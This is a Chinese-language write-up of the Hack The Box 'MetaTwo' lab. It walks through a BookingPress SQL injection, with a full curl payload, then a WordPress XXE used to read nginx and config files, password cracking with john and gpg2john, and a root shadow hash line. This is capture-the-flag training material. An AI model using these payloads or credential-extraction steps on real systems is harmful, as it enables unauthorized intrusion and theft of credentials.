基本信息
 
                端口扫描
21,22,80:
| 1 | nmap -sC -sV -Pn 10.10.11.186 | 
80
需要加hosts
| 1 | 10.10.11.186 metapress.htb | 
一个wordpress:
 
                查看events,源码中可以知道使用了booking press 1.0.10插件:
 
                CVE-2022-0739
插件sql注入:
- BookingPress < 1.0.11 - Unauthenticated SQL Injection WordPress Security Vulnerability
 https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357
要利用这个漏洞,首先需要再events页面源码中获取wpnonce:
| 1 | var postData = { action:'bookingpress_generate_spam_captcha', _wpnonce:'a3e32ad14e' }; | 
然后就是一步步sql注入获取数据,可以手动,也可以sqlmap:
| 1 | curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=a3e32ad14e&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -' | 
hash crack
可以破解出来manager的密码:
| 1 | sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt | 
wordpress
得到的账号密码登录wordpress,知道版本是5.6.2,可以搜到相关漏洞:
 
                - WordPress 5.6-5.7 - Authenticated XXE Within the Media Library Affecting PHP 8 WordPress Security Vulnerability
 https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5
- motikan2010/CVE-2021-29447: WordPress - Authenticated XXE (CVE-2021-29447)
 https://github.com/motikan2010/CVE-2021-29447
XXE
利用这个漏洞读文件,从nginx配置文件中得到wordpress路径,然后去读config,在config中得到FTP账号密码:
| 1 | /etc/nginx/sites-enabled/default | 
FTP
得到的账号密码登录FTP,在send_email.php中得到jnelson密码:
| 1 | $mail->Host = "mail.metapress.htb"; | 
 
                user flag
jnelson ssh登录:
 
                提权信息
当前用户目录下有个.passpie目录,搜索资料可以知道这是个密码管理器
- marcwebbie/passpie: Multiplatform command-line password manager
 https://github.com/marcwebbie/passpie
查看其中文件可以发现加密的pgp key和root pass:
 
                提权 & root flag
首先破解出来pgp key的密码,然后导出密码,得到root ssh密码
| 1 | gpg2john pgp_key > hash.txt | 
 
                 
                shadow
| 1 | root:$y$j9T$dnzdMw6.gAkYBbVw1pRaz.$2laiSFO34jFWk9/r6kkJo2tArgYO8AGv2v0FkUPwlr2:19270:0:99999:7::: | 
参考资料
- BookingPress < 1.0.11 - Unauthenticated SQL Injection WordPress Security Vulnerability
 https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357
- WordPress 5.6-5.7 - Authenticated XXE Within the Media Library Affecting PHP 8 WordPress Security Vulnerability
 https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5
- motikan2010/CVE-2021-29447: WordPress - Authenticated XXE (CVE-2021-29447)
 https://github.com/motikan2010/CVE-2021-29447
- marcwebbie/passpie: Multiplatform command-line password manager
 https://github.com/marcwebbie/passpie
- MetaTwo - HTB [Discussion] | BreachForums
 https://breached.to/Thread-MetaTwo-HTB-Discussion
- Hackthebox Metatwo Writeup | 0xDedinfosec Blog
 https://0xdedinfosec.vercel.app/post/hackthebox-metatwo-writeup
- HackTheBox (HTB) Writeup: MetaTwo [Easy] – meowmeowattack
 https://meowmeowattack.xyz/2022/10/31/hackthebox-htb-writeup-metatwo/